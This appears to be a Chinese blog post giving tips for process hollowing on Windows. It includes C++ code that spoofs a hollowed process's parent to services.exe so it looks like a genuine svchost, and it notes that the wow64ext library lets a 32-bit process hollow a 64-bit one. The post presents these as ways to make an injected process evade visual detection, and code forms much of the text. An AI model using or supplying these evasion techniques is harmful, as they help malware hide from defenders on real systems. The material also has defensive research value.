抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

ProcessHollowing (进程镂空) 也是出来很久了, 网上已经一大堆相关介绍的文章.
我就不再详细介绍, 详细介绍请看"傀儡进程的实现与检测", 这里就额外补充个小技巧.

问题一

假设我创建了一个 svchost 进程作为傀儡进程, 有一个问题就是: svchost 父进程不是 services.exe, 那么就能肉眼可见的发现这是个有问题的进程.

那么, 要怎么做才能做的更像 "svchost" 呢? 给 svchost 指定父进程为 services.exe 就行了.
下面是关键代码, 这个技巧还是我之前逆向 CreateProcessInternalW 的时候发现的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
if (!InitializeProcThreadAttributeList(
AttributeList,
2,
0,
&AttributeListSize))
{
DosError = GetLastError();
break;
}

// MSDN: https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
if (!UpdateProcThreadAttribute(
AttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // 指定父进程
&ParentHandle,
sizeof(ParentHandle),
nullptr,
nullptr))
{
DosError = GetLastError();
break;
}

auto Startup = STARTUPINFOEXW();
Startup.StartupInfo.cb = sizeof(Startup);
Startup.lpAttributeList = AttributeList;

// ...

DosError = CreateProcessHollowed(
NewToken,
nullptr,
LR"(C:\Windows\System32\notepad.exe)",
RealApp,
Args,
nullptr, nullptr, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // 这里有个 EXTENDED_STARTUPINFO_PRESENT
nullptr, Sysdir,
(LPSTARTUPINFOW)& Startup, &ProcessInfo);
if (NOERROR != DosError)
{
break;
}

问题二

怎么用 32 位进程创建 64 位的镂空进程?

可以借助 wow64ext 这个库, 它可以让 Wow64 进程调用 64Ntdll.dll 的系统调用.
ProcessHollowing 里面对目标进程操作相关的 API 都换成 wow64ext 扩展的 API 就可以了.

例子代码

MiroKaku/ProcessHollowing

评论